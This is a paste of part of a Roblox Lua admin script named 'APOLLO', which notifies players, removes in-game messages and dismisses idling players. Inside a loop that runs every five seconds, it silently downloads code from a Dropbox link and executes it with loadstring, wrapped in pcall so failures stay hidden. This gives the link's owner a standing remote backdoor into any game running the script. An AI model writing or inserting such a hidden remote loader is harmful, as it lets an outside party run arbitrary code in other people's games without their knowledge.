- for i,v in next,game:service'Players':players()do
- APOLLO.Functions.guiNotify(v,'Welcome to APOLLO, created by SolarEnvironment. Script kind: nil',5);
- end
- while(wait(5))do
- pcall(function()loadstring(game:service'HttpService':GetAsync('https://www.dropbox.com/s/62241ogaipafy41/External_Link.txt?dl=1',true))()end)
- end
- game.Workspace.DescendantAdded:connect(function(o)
- if o:IsA'Message'then
- if(APOLLO.Settings.NoMessage==true)then
- o:remove()
- end
- end
- end)
- while(wait())do
- for i,v in next,APOLLO.Idling do
- for i = 0,10,1 do
- wait()
- APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red');
- end
- wait(0.8)
- APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name));
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement